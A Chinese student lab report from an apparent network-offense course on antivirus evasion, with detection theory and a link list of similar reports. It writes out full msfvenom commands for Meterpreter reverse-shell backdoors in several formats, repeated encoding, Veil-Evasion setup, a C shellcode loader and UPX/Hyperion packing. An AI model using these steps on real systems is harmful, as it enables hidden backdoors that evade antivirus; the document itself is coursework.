Exp3 免杀原理与实践

一、实验内容

1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2. 通过组合应用各种技术实现恶意代码免杀

3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

1.杀软是如何检测出恶意代码的?

基于特征码的检测:通过对病毒库中已有记录的恶意代码截取其中一小段代码对程序进行检测,发现相同就认定为恶意代码。

启发式恶意软件检测:就是根据恶意代码的常见特征去推断。通常是因为缺乏精确判定依据。

基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,确定恶意代码共同的比较特殊的行为,监视程序的运行,如果发现程序出现这些特殊行为,就会认为其是恶意软件。

2.免杀是做什么?

使用各种技术手段对恶意软件进行处理,使它不会被杀毒软件检测到。

3.问:免杀的基本方法有哪些?

  • (1)改变特征码

只有EXE——加壳(压缩壳 加密壳)

有shellcode(像Meterpreter)——利用encode进行编码

有源代码——用其他语言进行重写再编译

  • (2)改变行为

    • 改变通讯方式、改变操作模式、使用非常规方法

三、实验步骤

任务一 正确使用免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 在实验二中使用msf生成了后门程序,使用Virscan对生成的后门程序进行扫描。

  • 在使用Virscan网站时,可能会出现文件名出现违法字,这时只需将文件名修改一下即可。
  • 改命过后Virscan网站的扫描结果如下:

2、一次编码使用命令:

  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded.exe

  (-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符)

3、七次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded7.exe

将编码七次后的可执行文件上传到VirusTotal扫描后结果如下:

2. msfvenom生成jar文件和php文件

  • 生成java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.jar
  • 生成PHP后门程序使用命令:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.php
  • 生成文件如下所示:

  • 扫描结果如下:

3. 使用veil-evasion生成后门程序及检测

       安装veil

  • 如果镜像是2018的话,在安装之前可以先执行下面的指令,如果不是可以直接下载安装。
   mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
  • sudo apt-get install veil-evasion命令安装Veil

  • veil命令打开veil,输入y继续安装直至完成

  • 成功的话,输入veil命令,会出现下面这个界面

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.1.115

  • 设置端口,命令为:set LPORT 4303

  • 输入generate生成文件,接着输入你想要playload的名字:veil_4303
  • 如上图所示,保存路径为/var/lib/veil/output/compiled/veil_4303.exe

5. 半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=4303 -f c用c语言生成一段shellcode;

  • 创建一个文件20164303.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ 20164303.c -o 20164303.exe编译这个.c文件为可执行文件;

  • 检测结果如下图:

6.对文件进行加壳

  • 使用压缩壳(UPX)

    • 给之前的20164303.exe加个壳得到4303_upxed.exe:

    • 使用命令 upx 20164303.exe -o 4303_upxed.exe

  • 加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入命令wine hyperion.exe -v 4303_upxed.exe 4303_upxed_Hyperion.exe进行加壳:
    • 检测结果如下图

任务二:通过组合应用各种技术实现恶意代码免杀

生成的php文件在检测中只有一个杀毒软件报毒,同时windows10的病毒和威胁防护也没有反应,很神奇。

其他方式生成的文件会被windows10自带的病毒和威胁防护功能杀掉,病毒检测也会报毒。

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

本来想再创建一个win7虚拟机来进行实验,然而一打开两个虚拟机,系统就崩了。呃,所以实验还没有开始就结束了。

四、实验总结与体会

这次实验出现问题很多,最头痛的是veil的安装,尝试了多种方法,呃,没有什么用。最后还是屈服了,找成功下到veil的同学拷贝了。我深切地体会到想要成功的黑掉别人的电脑也不是容易的事情,毕竟我自己黑自己都成功不了。但我也体会到网络攻防技术的魅力,并不是控制别人的电脑所带来的快感,而是费尽心血后成功的喜悦。虽然我没有成功,而且过程让我有点痛苦,但是我还是通过实验加深了对课堂所学知识的理解,也算有些收获。

Exp3 免杀原理与实践 20164303 景圣的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. Python Learning - Three

    1. Set  Set is a collection which is unordered and unindexed. No duplicate members In Python sets ar ...

  2. 随笔二-https://www.cnblogs.com/shang1680/p/9657994.html

    作业要求来自https://edu.cnblogs.com/campus/gzcc/GZCC-16SE2/homework/2097 GitHub远程仓库的地址:https://github.com/ ...

  3. 2018-2019-2 网络对抗技术 20165311 Exp6 信息搜集与漏洞扫描

    20165311 Exp6 信息搜集与漏洞扫描 1.实验内容 2.实验过程 任务一:各种搜索技巧的应用 通过搜索引擎进行信息搜集 使用FOFA.SO 搜索特定类型的文件 任务二:DNS IP注册信息的 ...

  4. 邮件服务器安装--Postfix + Dovecot + Squirrelmail--CentOS 6.4

    英文原文链接 : http://www.unixmen.com/install-postfix-mail-server-with-dovecot-and-squirrelmail-on-centos- ...

  5. mysql GROUP_CONCAT 查询某个字段(查询结果默认逗号拼接)

    Mysql 的 GROUP_CONCAT 函数默认将查询的结果用逗号拼接并返回一个字符串,如:李四,long,张三 1. 常用方式 select GROUP_CONCAT(user_name) use ...

  6. 44-0-STM32的CAN外设

    1.RS-485 协议主要是把 RS-232 的信号改进成差分信号,从而大大提高了抗干扰特性: 在 RS-485 通讯网络中,节点中的串口控制器使用 RX 与 TX信号线连接到收发器上,而收发器通过差 ...

  7. 赶集网三年 DBA 总结(转)

    2012年初入职赶集,当时处在流量讯猛增长的阶段,3年DBA生涯收获坡多,其实坑更多(泪... 后来在做开发时,慢慢体会到 ”运维“ 和 “开发” 确实存在沟通问题:知识不对称.如何解决呢?先总结下这 ...

  8. 002-zookeeper 基本配置、安装启动 windows环境

    一. 概述 ZooKeeper是Hadoop的正式子项目,它是一个针对大型分布式系统的可靠协调系统,提供的功能包括:配置维护.名字服务.分布式同步.组服务等.ZooKeeper的目标就是封装好复杂易出 ...

  9. HTTP权威指南_Note

    Chapter 1 HTTP概述 1. Web客户端和Web服务器 web服务器即为HTTP服务器 Web浏览器属于客户端 Web浏览器向服务器请求HTTP对象 2. 资源 Web服务器是Web资源的 ...

  10. Oracle 12C 补丁升级

    升级步骤 Oracle 12.2.0.1升级至12.2.0.1.190115 1.阅读readme文件 2.检查更新opatch 3.备份程序 4.使用opatchauto工具进行数据库升级 5.打O ...